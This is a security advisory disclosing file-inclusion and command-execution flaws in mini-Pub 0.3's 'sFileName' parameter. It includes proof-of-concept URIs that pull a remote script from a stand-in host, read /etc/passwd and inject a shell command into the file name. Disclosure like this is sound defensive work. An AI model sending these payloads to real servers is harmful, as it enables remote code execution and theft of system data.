mini-Pub 'sFileName' Parameter Multiple Input Validation Vulnerabilities

Bugtraq ID:	27671
Class:	Input Validation Error
CVE:	CVE-2008-5581 CVE-2008-5579
Remote:	Yes
Local:	No
Published:	Feb 07 2008 12:00AM
Updated:	Jul 06 2016 02:17PM
Credit:	muuratsalo is credited with the discovery of these issues.
Vulnerable:	mini-pub mini-pub 0.3
Not Vulnerable:

mini-Pub 'sFileName' Parameter Multiple Input Validation Vulnerabilities

mini-Pub is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input.

These issues include:

- a local file-include vulnerability
- a remote file-include vulnerability
- an arbitrary-command-execution vulnerability

Exploiting these issues can allow attackers to access potentially sensitive information, to execute arbitrary script code in the context of the webserver process, to steal cookie-based authentication credentials, or to compromise the application and the underlying computer.

mini-Pub 0.3 is vulnerable; other versions may also be affected.

mini-Pub 'sFileName' Parameter Multiple Input Validation Vulnerabilities

Attackers can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/mini-pub.php/front-end/img.php?sFileName=http://www.example2.com/cmd.txt?
http://www.example.com/mini-pub.php/front-end/cat.php?sFileName=/etc/passwd
http://www.example.com/mini-pub.php/front-end/cat.php?sFileName=a%3B=env

mini-Pub 'sFileName' Parameter Multiple Input Validation Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

mini-Pub 'sFileName' Parameter Multiple Input Validation Vulnerabilities

References:

• mini-pub Homepage (mini-pub)
  
• mini-pub 0.3 multiple vulnerabilities ("muuratsalo experimental hack lab" )